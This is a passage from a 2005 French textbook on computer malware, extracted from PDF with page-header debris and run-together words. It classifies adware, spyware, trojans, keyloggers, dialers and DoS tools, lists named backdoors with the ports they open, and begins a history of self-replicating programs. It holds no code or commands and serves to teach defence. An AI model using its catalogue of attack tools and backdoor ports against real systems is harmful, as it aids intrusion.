Il s’agit généralement d’outils d’administration à distance ou de programmes indirec-tement dédiés à des tâches d’intrusion ou de piratage. S’ils ne sont pas légalement etvolontairement utilisés leur usage s’apparente à de la malveillance. On classe aussidans cette catégorie certains programmes du commerce qui peuvent être configuréspour être totalement invisibles aux yeux de l’utilisateur.

Même si elle est parfois contestable, l’origine de ces programmes est juridique-ment légitime. S’ils avaient été créés dans un but purement malhonnête, ils appar-tiendraient, pour la plupart, à la famille des chevaux de Troie.

Tout comme pour les canulars, nombre d’entre eux sont détectés par de nom-breux anti-virus du commerce, si l’option de recherche adéquat est activée. Onretrouve principalement dans cette catégorie des programmes permettant :

• d’arrêter un ordinateur à distance (Remote Shutdown),• de rechercher ou de capturer des mots de passe (DialPWD),• de modifier la page d’accueil d’Internet Explorer (Adshow),• d’installer une application en tant que service NT (FireDaemon),• d’analyser le trafic réseau (Dsnif),• de contrôler un ordinateur à distance (NetBusPro),• de composer des numéros téléphoniques à forte facturation (PornDial),• d’intercepter les frappes clavier (Silent Watch),• de contrôler l’activité d’un ordinateur (WinGuardian),• d’envoyer massivement des e-mails (Wyrvis from Wyrvious’s Invis),• déprotéger des logiciels sous licence (Crack-Generic),• de contourner les pare feux ou les anti-virus (Firehole, Piorio),• de faire des envois massifs de cartes de vœux électroniques (Friend Greeting),• de trafiquer en mode tunnellisation (Htthost),• d’effacer des données du BIOS (KillCMOS),• de reconstruire des exécutables (Pereb PE-rebuilder),

PAGET_Ch01 Page 20 Lundi, 11. avril 2005 5:25 17

21©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

• de rechercher des ports TCP/IP vulnérables (Pest-PortScan),• de proposer des tests de personnalité (PersonalityTest),• de détruire des données en cas d’utilisation non autorisée de logiciel (FireAn-

vil).

Parfois d’utilisation légitime, certains anti-virus tel que McAfee VirusScan sontcapables d’affiner leur détection en fonction de critères tels que le nom de fichier ;une alerte n’étant émise qu’en cas d’utilisation de nom d’emprunt.

D’autres programmes commerciaux indésirables se rencontrent fréquemment, ils’agit des adwares et des spywares, ils méritent toute notre attention.

Adwares et Spywares

D’un point de vue étymologique, les mots adware (Advertising Software) et spyware(Spying Software) sont des acronymes anglais qui désignent deux classes particulièresde logiciels. À ces 2 classes se mêlent parfois d’autres groupes d’outils d’originesdiverses :

• Adware = Ads + ware (logiciel publicitaire).• Spyware = Spy + ware (logiciel espion).• BHO = Browser Helper Object.• Hijacker = Outils de re-direction.

Citons à titre d’exemple :

• Adware-Cydoor (Adware).• Spyware-eBlaster (Spyware).• Adware-NavHelper (BHO).• Galorion (Hijacker).

Figure 1.14 — Nombre cumulé d’adwares et de spywares (source PestPatrol1)

1. Pest Patrol Graph Generator : http://research.pestpatrol.com/graphs/form.jsp.

PAGET_Ch01 Page 21 Lundi, 11. avril 2005 5:25 17

22 Chapitre 1. Les multiples aspects de la malveillance

Tous ces programmes sont des logiciels provenant de sources commerciales con-nues. Ils ne peuvent donc pas être classifiés comme malveillance. Ce sont cependantdes programmes que de nombreux utilisateurs ne souhaitent pas conserver dans leurordinateur, surtout lorsqu’ils ont été installés d’une manière hasardeuse. C’est pourcette raison que de nombreux anti-virus les détectent dans la mesure ou l’utilisateuren précise le souhait.

AdwareDénommé pubiciel en français, un adware est un programme qui dirige des publicitésciblées vers l’ordinateur qui le contient. Il observe les habitudes de navigation del’internaute afin de lui fournir des offres adaptées à son profil. Cette tâche est géné-ralement mise en œuvre après un consentement initial. En effet, un adware n’est pasun programme auto reproducteur ; c’est l’utilisateur qui donne son accord au traversd’une fenêtre de dialogue en répondant positivement à une question dont il n’a pastoujours pris le temps de lire l’intégralité du contenu.

Figure 1.15 — Adware, l’exemple de Kazaa1

Certains petits utilitaires gratuits (freeware ou shareware) pour lequel il n’est pasdemandé de droit d’usage peuvent s’apparenter à des adwares. Leurs auteurs en con-servent la propriété intellectuelle (copyright) et perçoivent une compensation finan-cière par le biais d’un affichage de bannières publicitaires périodiquementrenouvelées et affichées au cour de l’utilisation.

20/202 en est un exemple. Il permet de visualiser des images ayant toutes sortesde formats. Il permet aussi de faire des captures d’écran, d’ajouter du texte sur desimages, de faire quelques manipulations sur des images, etc.

Notons enfin qu’un adware ne collecte pas d’information personnelle et qu’il seprésente souvent sous la forme de fichiers binaires (.exe ou .dll).

1. Kazaa Media Desktop : http://www.kazaa.com/fr/.2. HotFreeware : http://www.hotfreeware.com/2020/2020.htm.

Avec la version gratuite v2.6.3 de Kazaa vous recevrez de la publicitéenvoyée par Cydoor et le réseau GAIN comme le laisse sous-entendrel’information « Ad Supported ».

PAGET_Ch01 Page 22 Lundi, 11. avril 2005 5:25 17

23©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

BHO – Browser Helper ObjectsUn BHO est un programme additionnel à Internet Explorer. Il s’intègre au naviga-teur en permettant à un tiers de le personnaliser ou d’y ajouter des fonctionnalitéscomplémentaires.

Sa procédure d’installation, volontaire ou non, utilise la technologie ActiveX. Ilse présente généralement comme une barre de boutons (en anglais, toolbar) ajoutéeau menu standard. Le BHO est toujours censé apporter une fonctionnalité ou unconfort supplémentaire.

Figure 1.16 — Exemple de BHO

HyjackersCe sont des routines altérant le comportement et/ou les réglages du navigateur del’internaute. Basées sur des contrôles ActiveX ou des langages de script tels queJavaScript, les modifications induites sont généralement anodines, mais agaçantes sielles ne sont pas souhaitées. Citons par exemple la modification de la page de démar-rage ou l’ajout de nouvelles entrées dans la liste de favoris.

SpywareL’une des premières définitions du spyware a été donnée par Steve Gibson1. Il nousindique qu’un spyware est un logiciel qui utilise en tâche de fond la connexionInternet d’un utilisateur sans qu’il en ait connaissance ou sans sa permission expli-cite.

1. http://grc.com/optout.htm.

PAGET_Ch01 Page 23 Lundi, 11. avril 2005 5:25 17

24 Chapitre 1. Les multiples aspects de la malveillance

Figure 1.17 — Spyware, la définition de Steve Gibson

Cette définition n’est plus assez restrictive. Elle tend à inclure, outre l’ensembledes éléments décrits ci-dessus, certains vers ou chevaux de Troie.

Aujourd’hui un spyware se défini comme un programme conçu dans le but de col-lecter des données personnelles et de les envoyer à son concepteur ou à un tiers viaInternet sans avoir obtenu au préalable une autorisation explicite et éclairée desditsutilisateurs.

Les spywares ne doivent donc pas être confondus avec les adwares, les BHO oules outils de redirection. Bien que parfois déplaisants, ces derniers ne transmettentaucune donnée personnelle. Les spywares peuvent être aussi à tord confondus avecles cookies et les web-bugs qui ne sont pas des programmes mais des fichiers de don-nées ou des micro images dont la mise en œuvre peut être néanmoins détournée etparfois porter atteinte à la vie privée.

Il existe 2 types de spywares se différenciant selon l’objectif visé :

• Le commerce ; ces programmes se rapprochent des adwares. Ils ne se conten-tent pas de rediriger des publicités ciblées mais transmettent des informationsnominatives et personnelles pour poursuivre leur approche marketing par e-mail, courrier postal ou téléphone. Les sociétés collectrices peuvent ensuitemonnayer les fichiers constitués.

• Le renseignement ; il s’agit de logiciels espions capable d’enregistrer secrète-ment et de retransmettre les opérations effectuées sur l’ordinateur sans queson utilisateur en ait la connaissance. Ils sont souvent proposés pour des butslouables tels que le contrôle parental et détournés de leur but premier.

Caractéristiques majeuresDans le tableau 1.3, les BHO et les outils de redirection sont considérés comme desadwares. Si certains d’entre eux contiennent des fonctionnalités de capture etd’envoi d’informations personnelles, ce sont des spywares.

PAGET_Ch01 Page 24 Lundi, 11. avril 2005 5:25 17

25©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

Quelques autres caractéristiques sont fréquemment rencontrées :

• Absence de logiciel de désinstallation.• Impossibilité d’accéder à une quelconque panneau de configuration.• Impossibilité de désactiver temporairement ou définitivement le produit.• Appropriation du carnet d’adresse de messagerie pour un envoi en masse de

messages.

Bombes logiques

Une bombe logique est un programme contenant une fonction malveillante cachéegénéralement associée à un déclenchement différé. Cette fonction, souvent destruc-trice, a été rajoutée de façon illicite à un programme hôte. Il conservera son appa-rence anodine et son fonctionnement correct jusqu’au moment choisi par leprogrammeur malveillant.

Le déclenchement qui s’effectue à un moment déterminé peut exploiter la datedu système. Il peut aussi utiliser un critère plus pernicieux tel que la disparition d’unenregistrement dans une base de donnée.

Tableau 1.3 — Comparaison entre adware et spyware

Adware Spyware

Source commerciale connue Oui Oui

Profite de la connexion Internet de l’utilisateur Oui Oui

Consomme de la bande passante Internet de manière invisible Oui Oui

Observe les habitudes de navigation de l’internaute afin de luifournir des bannières publicitaires adaptées à son profil

Oui Oui, mais pasuniquement

Modifie ou ajoute des fonctionnalités au navigateur Parfois Parfois

Modifie le comportement et les réglages du navigateur Parfois Parfois

Télécharge et installe des programmes et autres objets demanière arbitraire

Oui Oui

En cas de transfert de données, la préservation de l’anonymat estannoncée (et respectée). Si des données personnelles sont trans-mises l’utilisateur en a été informé (EULA – End user LicenceAgreements)

Oui Non

Collecte et transmet des données statistiques (habitudes de navi-gation) et/ou personnelles à un site distant sans que la victime enait connaissance et sans son autorisation explicite (objectif com-mercial). Aucune clause de confidentialité n’est fournie pardéfaut

Non Oui, c’est lebut !

Se conduit comme outil d’espionnage en interceptant la globalitéde l’activité effectué sur la machine de la victime (objectif de ren-seignement)

Non Parfois

PAGET_Ch01 Page 25 Lundi, 11. avril 2005 5:25 17

26 Chapitre 1. Les multiples aspects de la malveillance

Il s’agit généralement d’une attaque ciblée vers une entreprise dans le but de laparalyser au moins momentanément. Ces attaques sont peu nombreuses, mais leurimpact est très élevé. Elles restent souvent inconnues du public. Citons à titred’exemple le chantage d’un ex-employé d’une société de service visant une applica-tion de trésorerie utilisée par une centaine de clients. La direction n’ayant pas cédé,le criminel a effectivement déclenché le processus. Le total des pertes fut estimé àl’époque à environ 800 000 Euros (5MF)1.

Chevaux de Troie et portes dérobées

La définition première d’un Cheval de Troie (trojan en anglais) est celle d’unprogramme qui comporte une fonctionnalité cachée connue de l’attaquant seul. Lemode opératoire n’a pas changé depuis la prise de Troie par les Grecs : il s’agit decontourner les contrôles de sécurité en vigueur pour pénétrer l’élément ciblé.

On utilise le terme de cheval de Troie lorsque la fonction cachée et rajoutée ausein d’un programme légitime quelconque. Le terme porte dérobée (backdoor enanglais) s’applique à tout programme malveillant spécifiquement dédié à cet effet.

Une fois le programme installé, la machine peut être prise en main à distanceavec un outil d’attaque réseau compatible. C’est généralement au travers d’un portTCP/IP maintenu ouvert que le logiciel client distant pourra effectuer certainesactions sur le poste local ou a été préalablement exécuté le serveur (le cheval deTroie ou la backdoor).

Le tableau 1.4 nous montre quelques exemples de portes dérobées.

1. LAMERE Jean Marc & TOURLY Jacques, La sécurité des petits et moyens systèmes informatiques,DUNOD informatique, ISBN 2-04-018721-9, 1988.

Tableau 1.4 — Exemples de portes dérobées

NOM DU SERVEUR ALIAS PORT OUVERT

Backdoor-AML Jeem 6079/5262/4668

Backdoor-AMH IRC.Mapsy 6754

Backdoor-AJZ Expjan 2090

Backdoor-AGS Assasin 5695

Backdoor-AJY Miffice 1533

Backdoor-AIT IRTTH 15000

Backdoor-AJM 10

Backdoor-AIK 1160

Backdoor-AJB 1881

Backdoor-BBI Port UDP aléatoire

PAGET_Ch01 Page 26 Lundi, 11. avril 2005 5:25 17

27©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

Outils de capture d’information

Au début d’Internet, le langage de programmation qui permettait de créer des pagesweb était HTML. Les possibilités d’interaction étaient alors très limitées. L’utilisa-teur ne pouvait pas intervenir sur le Web, le Web ne pouvait pas intervenir sur lamachine locale. Pour outrepasser ces limitations, Microsoft, avec ses composantsActive X, et Sun, avec Java proposèrent des solutions pour rendre le Web plusattrayant. L’intérêt d’une certaine interactivité entre l’utilisateur et le documentqu’il visualise n’a pas échappé non plus aux créateurs de programmes malveillants.

Ces programmes, applets Java et les objets Active-X, sont habituellement depetite taille et prennent le nom de codes mobiles hostiles. Il agissent de manièreautonome. Intelligents, ils s’adaptent d’eux-mêmes à leurs environnements. Cer-tains d’entre eux ont la capacité d’apprendre en utilisant leurs propres expériences.Dans leurs domaines particuliers, ils possèdent un certain niveau d’expertise.

Des programmes exécutables compilés sont aussi dédiés à la collecte d’informa-tions. Ce sont les plus répandus, il s’agit des renifleurs de clavier et de mot de passe.

Les éléments que nous allons maintenant lister ne doivent pas être confondusavec les spywares que nous avons détaillés précédemment. Ces premiers avaient uneorigine commerciale connue, ceux-ci ont été créés par des pirates dans un pur butmalveillant.

Les renifleurs de mot de passeIls sont également connus sous l’appellation anglaise de PassWord Stealer (PWS). Ilss’activent lors d’une action spécifique, tel que l’apparition d’une fenêtre dont l’inti-tulé contient une partie d’un mot clé (LOGon, PASsword). Sur une courte période,les données saisies au clavier sont alors enregistrées, stockées ou envoyées vers unsite distant. PWS-Hooker.dll est l’un d’entre eux.

Certains outils sont spécialisés dans l’analyse des caches mémoire et des fichierssystème pour y rechercher ce type d’information. Selon la société Panda1, Mafia.a enest un exemple. Il cible les ordinateurs du type Windows .NET Server/XP/2000/NT.

Les renifleurs de clavierPrenant aussi le nom de keylogger, leur champs d’activité dépasse la collecte précised’un mot de passe. Selon des critères prédéfinis, ils sont capables d’enregistrer toutesles frappes claviers et éléments déclenchés. C’est tout le travail réalisé par l’utilisa-teur de la machine qui peut ainsi être enregistré. Ces logiciels s’activent et se remet-tent en sommeil à la demande et à distance. Citons comme exemple, KeyLog-SSKC : il est capable de capturer les frappes clavier pour ensuite expédier le fichierde capture par e-mail.

1. Encyclopédie Panda – Mafia.a : http://www.pandasoftware.com/virus_info/encyclopedia/overview.aspx?idvirus=41263.

PAGET_Ch01 Page 27 Lundi, 11. avril 2005 5:25 17

28 Chapitre 1. Les multiples aspects de la malveillance

Figure 1.18 — Pré-configuration d’un renifleur de clavier

Applets Java hostilesLes applets Java sont généralement téléchargés pour accomplir des tâches commel’animation de composants graphiques, la maintenance d’informations, le calcul decertains résultats avant retransmission de ceux-ci vers le serveur dont l’applet estoriginaire. Lorsque un navigateur détecte l’arrivée de l’un d’entre eux sur la machinelocale, il l’envoie automatiquement vers son processeur virtuel appelé Java VirtualMachine (JVM). Celui-ci interprétera le code compilé reçu et le rendra exécutable.

Seul le runtime JVM est nécessaire à la bonne exécution du programme. Le codey est enfermé dans un espace mémoire propre dénommé sandbox. Tout accès aux res-sources critiques lui est normalement interdit.

Les plus célèbres applets Java hostiles furent créés en 1996 par Marc D. LaDue1.Les navigateurs actuels y sont insensibles.

Aujourd’hui, c’est au travers de brèches de sécurité que se manifestent ces appletshostiles. Quatre types d’attaques sont toujours possibles :

• Modification du système ou des données.• Atteinte à la personne (envoie de mails subversifs).• Saturation ou détournement des ressources système.• Perturbations diverses (messages, sons…).

1. A Collection of Increasingly Hostile Applets : http://www.cigital.com/hostile-applets/.

PAGET_Ch01 Page 28 Lundi, 11. avril 2005 5:25 17

29©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

Parmi ces vulnérabilités, citons celles qui pourraient permettre :

• d’exécuter le code de son choix sur une machine via un mail au format HTMLou une page Web (MS99-031, MS01-0381). Le virus VBS/XPMsg@MM utilisecette vulnérabilité en se propageant via Microsoft Outlook. Il faut différenciercette vulnérabilité de celle utilisée par de nombreux autres virus tels que JS/Kak@M (MS99-032). Alors que ce dernier crée des fichiers sur le disque durpour ensuite pouvoir se propager, VBS/XPMsg@MM ne crée aucun fichier.

• de lire des fichiers de l’ordinateur d’une personne visitant le site Web ou delire du contenu Web provenant d’un réseau informatique privé si ce site estvisité par un ordinateur depuis ce même Intranet (MS00-011, MS00-081).

Objets Active-X hostilesLes composants Active-X peuvent jouer le même rôle que les applets. Ils ne fonc-tionnent cependant que sur Microsoft Internet Explorer (ou Netscape si un plug-inspécifique est installé).

À la différence des applets qui doivent être écrit en Java, un objet Active-X peutêtre développé en n’importe quel langage (C, C++, Visual Basic ou Java). Il s’exé-cute sur le poste client de l’utilisateur et peut tout y faire. Il n’offre comme sécuritéque la confiance que vous avez en son développeur. C’est insuffisant et c’est pourcette raison qu’un processus de signature a été mis en place. Il permet de connaître lasociété émettrice de l’objet avant d’en accepter ou non l’exécution.

Parmi les premiers objets Active-X hostiles, citons :

• AX/Exploder (1996) : il stoppe Windows 95 et éteint la machine.• AX/Runner : il exécute une copie de l’interpréteur de commande

(command.com).

Les objets Active-X hostiles sont directement liés à des brèches de sécurité quiont fait l’objet de correctifs. Parmi ces vulnérabilités, citons celles qui pourraientpermettre :

• d’exécuter un fichier distant (MS99-007),• de faire opérer par une page Web des actions non autorisées sur l’ordinateur

qui la charge (MS99-032). Ce peut être par exemple l’implantation d’uneporte dérobée telle que BackDoor-JW apparue en décembre 2000. Elle étaitdistribuée depuis un site de jeux. De nombreux virus utilisent également cettevulnérabilité comme nous aurons l’occasion de le voir dans les chapitressuivants.

1. L’ensemble des Bulletins de Sécurité Microsoft est disponible à partir des pages :http://www.microsoft.com/technet/security/current.aspx (site US),http://www.microsoft.com/france/securite/bulletins_securite/default.asp (site FR).

PAGET_Ch01 Page 29 Lundi, 11. avril 2005 5:25 17

30 Chapitre 1. Les multiples aspects de la malveillance

• De télécharger un fichier distant dont on connaît le nom et l’emplacement(MS99-011 & MS99-042),

• d’inclure un exécutable non sûr dans un courrier électronique et de le fairepasser pour une pièce jointe sûre. Par le biais d’une série d’étapes complexes,l’exécutable non sûr serait ensuite exécuté dans certaines conditions, si l’utili-sateur ouvrait la pièce jointe (MS99-048),

• d’installer des fichiers sur la machine locale et d’en modifier les éléments de saconfiguration (MS00-034). C’est ainsi que le virus VBS/Davinia@MM futdiffusé après la simple visualisation d’une page Web.

Outils d’appropriation de ressources

Ces programmes sont capables d’utiliser les ressources de l’ordinateur au dépend deson propriétaire. Ils peuvent induire des pertes financières pour l’attaqué et êtresource de profit pour l’attaquant.

Les logiciels de connexion téléphoniques furtifsÉgalement connu sous le terme de dialers, leur installation est souvent consécutive àla visite d’un site à caractère pornographique (Porn-Dialer). Certains virus tel queW32/Ultimax.worm véhiculent aussi ces programmes.

Installés sur votre ordinateur, il vont chercher à court-circuiter l’appel à votreFournisseur d’Accès Internet (FAI) pour établir une communication surtaxée auprofit du propriétaire du numéro appelé.

Les relais de spamInstallés sur la machine à l’insu de son propriétaire, ces mini serveurs permettentl’émission du courrier non sollicité vers leurs victimes potentielles. Cette techniqueévite aux spammeurs de se faire eux-mêmes détecter et bloquer par un fournisseurd’accès.

Aujourd’hui, de nombreux spammers se font aider par des auteurs de virus. Ilsinfiltrent ainsi des ordinateurs vulnérables et les transforment secrètement en ser-veur relais SMTP. L’un de ces outils, Proxy-Guzu, est un mini serveur de courrierpilotable à distance. Il permet aux e-marchands indélicats et peu scrupuleuxd’envoyer anonymement des millions de courriers publicitaires de manière totale-ment anonyme.

Outils d’attaque réseau

Par abus de langage, ils peuvent être, eux aussi, apparentés aux chevaux de Troie etdétectés comme tels par les anti-virus.

PAGET_Ch01 Page 30 Lundi, 11. avril 2005 5:25 17

31©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

Dispositifs de prise de main à distanceCes programmes permettent d’obtenir un accès non autorisé sur des équipements quicontiennent un cheval de Troie ou une porte dérobée qui leur est compatible. Ils’agit ici du logiciel client d’une application client/serveur. Deux ordinateurs entrentdonc en jeu ; le premier pilote le processus, le second est la cible sur laquelle a étépréalablement installé, puis exécuté, le serveur (le cheval de Troie ou la backdoor).

Le nombre de ces dispositifs ne cesse d’augmenter. Cette tendance débute en1998. Cette année là, toute une série d’outils furtifs de prise de main à distance sontégalement mis à disposition sur Internet. Les plus connus furent Back Orifice et Soc-ket de Troie (ou socket 2.3). Ce furent des précurseurs. Ils ont été aujourd’hui rejointspar de nombreux autres produits.

Une telle prise de contrôle à distance est parfois légitime (opération de télémain-tenance), mais dans le cas d’un acte de piratage, le propriétaire de la machine cibleest inconscient de la menace qui pèse sur lui. Il aura exécuté à son insu le programmeserveur qui, une fois installé, sera généralement capable de se lancer automatique-ment à chaque nouveau démarrage de la machine. Pour tromper l’imprudent, il luiaura été présenté comme un jeu, un anti-virus ou un utilitaire quelconque. Dansd’autres cas, et comme nous l’avons déjà signalé, c’est un virus qui pourra l’avoirvéhiculé.

D’un point de vue pratique, le pirate interroge le réseau généralement au traversd’une adresse IP. Si celle ci correspond à une cible à l’écoute, la connexion s’effectueau travers du port TCP/IP que le serveur maintient ouvert. Une fois sous son con-trôle, tout est possible :

• Affichage des caractéristiques système de la machine et de son environne-ment réseau.

• Contrôle des processus système.• Accès total a la base de registres.• Listing en clair des mots de passe.• Redémarrage de la machine.• Accès total au disque, exploration des répertoires et visualisation du contenu

des fichiers.• Exécution de programmes.• Transfert de fichiers avec possibilité de compression.• Ouverture d’une boite de dialogue.• Surveillance des activités clavier.• Opération multimédia (son, clip vidéo).• Montage et démontage de ressources réseau.• Gestion des ports TCP/IP, résolution des noms de machine et des adresses IP.

PAGET_Ch01 Page 31 Lundi, 11. avril 2005 5:25 17

32 Chapitre 1. Les multiples aspects de la malveillance

Figure 1.19 — Possibilités offertes par NetBus Pro

Les renifleurs de traficIls interceptent les données qui transitent sur le réseau. En mode broadcasting, toutedonnée qui circule, arrive à l’entrée de toutes les cartes réseau des machines connec-tées. Seules les données destinées au PC sont lues, les autres sont ignorées. Des logi-ciels de type sniffer permettent l’interception et l’analyse de ces trames qui devraientrester inexploitées.

La plupart de ces outils sont dédiés à la recherche de mots de passe ou d’adressesIP. À titre d’exemple, Sniff-ICQ.WPD permet de découvrir l’adresse IP d’utilisateursutilisant la messagerie instantanée (ICQ1).

Les outils pour deni de service (DoS)Ces programmes sont conçus pour générer des arrêts de service en exploitant desfaiblesses de l’architecture réseau ou des protocoles. Il existe divers types d’attaques :

• La saturation par déluge de données (flooding). Envoyées très rapidement eten grand nombre, la machine ciblée ne pourra toutes les traiter, et finira par sedéconnecter du réseau. On connaît :– L’envoi de paquets IP de grosse taille (FdoS-SCRAwaked),– L’envoi massif de paquets UDP (FdoS-Udp.102),– L’envoi massif de requêtes ICMP echo-request ou smurfing. Cette attaque

consiste à se faire passer pour le serveur cible en falsifiant sa propre adresseIP (spoofing) puis à envoyer les requêtes vers plusieurs classes d’adresses IPautorisées. En retour, les machines répondent au serveur qui se trouveinondé de connexions (DoS-Smurf),

1. En anglais, abréviation de : « I Seek You », ce qui signifie en français : « je te cherche ».

PAGET_Ch01 Page 32 Lundi, 11. avril 2005 5:25 17

33©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it1.5 Les infections informatiques

– Les outils de plantage Windows (en anglais, nuker). Citons comme exempleceux permettant l’envoi répétitif de paquets d’informations sur le port 139d’une machine Windows-95. Ils entraînent l’affichage du trop connu écranbleu qui oblige à redémarrer (FdoS-BloodLust),

– L’envoi massif de SMS (SMSFlood),– L’envoi massif de message pour faire saturer un correspondant ICQ (FdoS/

ICQRevenge).• La saturation par demande de connexion. On parle ici de déni de service distri-

bué (DDoS – Distributed Denial of Service), Dans un premier temps, il s’agit deprendre le contrôle de plusieurs machines éloignées, et d’y placer unprogramme client (souvent appelé zombie). Ensuite, l’un des pirates utilise unprogramme maître qui contrôle tous les zombies. Il lance une attaque conver-gente vers une même cible en l’inondant de paquets. Parmi les outils quipermettent de lancer de telles attaques, citons trinoo (ou trin00), TFN (TribeFlood Network) et Stacheldraht.Une autre technique ne nécessite qu’une seule machine. Elle consiste à falsi-fier son adresse IP en utilisant des séries d’adresses de machines autorisées eten envoyant des rafales de demandes de connexion pour chacune de ces adres-ses.

• Le débordement de tampon. C’est l’envoi à la machine cible des donnéesd’une taille supérieure à la capacité d’un paquet. Celui-ci alors fractionné pourl’envoi sera rassemblé par la machine cible. C’est alors qu’une faille du proto-cole IP entraînera le débordement des variables internes (FdoS/Pestil.20).

Les craqueurs de mot de passeLa technique consiste à faire de nombreux essais jusqu’à la réussite du processus.Certains outils utilisent des listes de mots prédéfinies et modifiables.

Les scanners de portIls peuvent permettre de repérer les ports TCP/IP ouverts sur une machine pourensuite mener une attaque plus précise. Ils aident un pirate en lui indiquantcomment procéder pour pénétrer une machine (Pest-PortScan).

1.5.2 Les programmes auto reproducteurs

La finalité d’un programme auto reproducteur est souvent identique à celle d’unprogramme simple. C’est le mode de propagation qui change.

À sa première exécution, le programme cherche à se reproduire. Il sera doncgénéralement résident en mémoire et, dans un premier temps, discret.

Si elle existe, la fonctionnalité malveillante (payload) s’effectuera dans un délaiplus ou moins court et sur un critère quelconque prédéfini (trigger).

Pour de nombreux virus la perturbation s’est longtemps limitée à la reproductionet à tous les ennuis qu’elle engendre. Aujourd’hui la fonction malveillante se rappro-che de celle de nombreux programmes simples.

PAGET_Ch01 Page 33 Lundi, 11. avril 2005 5:25 17

34 Chapitre 1. Les multiples aspects de la malveillance

Les vers et les virus forment à eux seuls la famille des programmes auto reproduc-teurs, on les retrouve au premier rang des infections informatiques.

En 1988, à l’époque du ver RTM (du nom de son auteur: Robert Tappan Morris),la distinction entre ver et virus est généralement acquise même si elle apparaît par-fois des plus fines. Des définitions précises sont établies par les scientifiques de l’épo-que.

• Peter Denning1 explique qu’un ver est un programme capable de fonctionnerde manière indépendante. Il se propage de machine en machine au travers desconnexions réseau. Un ver ne modifie aucun programme, il peut cependanttransporter avec lui des portions de code qui pourront, par la suite, effectuerun telle activité.

• John Shoch et Jon Hupp2 précisent qu’un ver n’a pas forcément une connota-tion malveillante. Il peut accomplir un travail utile dans un réseau.

• De son côté, Fred Cohen3 défini un virus comme un programme capabled’infecter d’autres programmes en les modifiant pour y inclure une copie delui-même qui pourra avoir légèrement évoluée. Le virus ne peut pas fonction-ner d’une manière indépendante. L’exécution du programme hôte est néces-saire à son activation. Par analogie avec son cousin biologique, il se multiplieau sein de l’environnement qu’il cible et entraîne corruption, perturbation,et/ou destruction.

Tout code malveillant à même de se propager est souvent considéré comme unvirus. Selon cette théorie, les vers ne sont alors qu’un sous-ensemble dans la familledes virus. C’est le parti pris que nous prendrons dans ce livre. Il n’existe cependantpas de consensus dans la communauté anti-virale et diverses définitions contradic-toires circulent.

1. DENNING Peter (1990), Computers Under Attack. Intruders, worms, and viruses, ACMPRESS. New York. ISBN:0-201-53067-8.2. SHOCH John. F. & HUPP Jon. A. (1982), The « Worm » Programs – Early Experience with aDistributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180.3. COHEN Fred. (1984 et 1987), Computer Viruses – Theory and Experiments, DOD/NBS 7thConf. on Computer Security. IFIP-sec 84. Computers & Security, Volume 6 (1987), pp 22-35.

PAGET_Ch01 Page 34 Lundi, 11. avril 2005 5:25 17

2

Historique – de l’innocenceà la tentation criminelle

Alors que pour le grand public, l’apparition des premiers virus remonte aux années1980, ce chapitre va tout d’abord nous montrer que la mise en œuvre de programmesauto reproducteurs est bien plus ancienne qu’elle n’y parait. Elle remonte à uneépoque ou les ancêtres des virus ne s’appelaient pas encore des vers.

Les mathématiciens et les auteurs de science-fiction laissant la place aux premierscréateurs, tout fut rapidement imaginé ou inventé. Face à eux les concepteurs d’anti-virus alignèrent leurs premiers outils. Au fil des ans, l’investigation et le challengeincitèrent les uns et les autres à accentuer leurs recherches.

Diverses formes virales auront leur période de gloire puis tomberont en désué-tude. À l’approche de l’an 2000, la mainmise des virus sur les outils bureautiques telsque

Microsoft Office

et leur propagation au travers de la messagerie électroniqueseront deux thèmes récurrents marquant la fin du siècle. S’aidant d’autres innova-tions, le micro-ordinateur isolé et la toile Internet deviendront deux terrains d’expé-riences qui finiront par se rejoindre. Les jeunes irresponsables d’hier commencerontà disparaître laissant la place au professionnalisme. La criminalité

à l’ancienne

cher-chera à s’adapter au monde virtuel.

2.1 JOHN LOUIS VON NEUMANN

Le mathématicien John Louis von Neumann est né à Budapest en 1903. Son oeuvreest remarquable par sa grande variété. Il est généralement considéré comme le pèrede

l’automate auto reproducteur

, ancêtre théorique des virus informatiques.

PAGET_Ch02 Page 35 Lundi, 11. avril 2005 5:25 17

36 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Von Neumann consacra la dernière partie de sa vie aux problèmes de logique etd’analyse numérique posés par les calculateurs. Il réalisa une étude théorique du pro-blème de la programmation, c’est-à-dire de la transformation d’un problème mathé-matique en un système codé d’instructions. Ses premiers travaux de logiquemathématique le prédisposait à une analyse théorique de la notion de machine.

En 1949, dans une série d’articles dont l’un est intitulé

Theory and Organization ofComplicated Automata

, von Neumann met en avant sa théorie relative à la structureformelle des automates et des machines reproductrices. Il les considère capables dese reconstruire à l’identique. Il précise que leur complexité pourrait croître

de généra-tion en génération

.

La théorie de von Neumann se fonde sur les principes de la machine de Turing

1

ou le concept de machine à calculer a été étendu à celui de machine à construire.On y retrouve deux éléments centraux : un Ordinateur Universel (

Universal Compu-ter

) et un Constructeur Universel (

Universal Constructor

). L’Ordinateur Universelcontient un programme qui pilote le comportement du Constructeur Universel. LeConstructeur Universel fabrique, tour à tour, un autre Ordinateur Universel et unautre Constructeur Universel. Lorsque cette tâche est achevée, le nouvel OrdinateurUniversel est programmé avec une copie du programme contenu dans l’OrdinateurUniversel d’origine et, celui ci est exécuté.

L’ensemble des travaux de von Neumann ont été regroupés et complétés dans unouvrage écrit par l’un de ses étudiants, Arthur Burks, sous le titre

Theory of Self-Reproducing Automata by John von Neumann

2

.

2.2 LES PREMIÈRES EXPÉRIENCES

En 1962, trois amis informaticiens, Doug McIlroy, Victor Vyssotsky et Robert P.Morris Senior créent un jeu qu’ils intitulent

Darwin

3

. Sur un ordinateur du typePDP-1, dans les laboratoires de

Bell Telephone Labs

du New Jersey, ils mettent enscène des programmes qui s’affrontent. Leur but est de survivre tout en éliminantleurs adversaires. Les programmes ont la capacité de créer des copies d’eux-mêmes enmémoire. On les appelle des

organismes

(

organisms

)

4

.

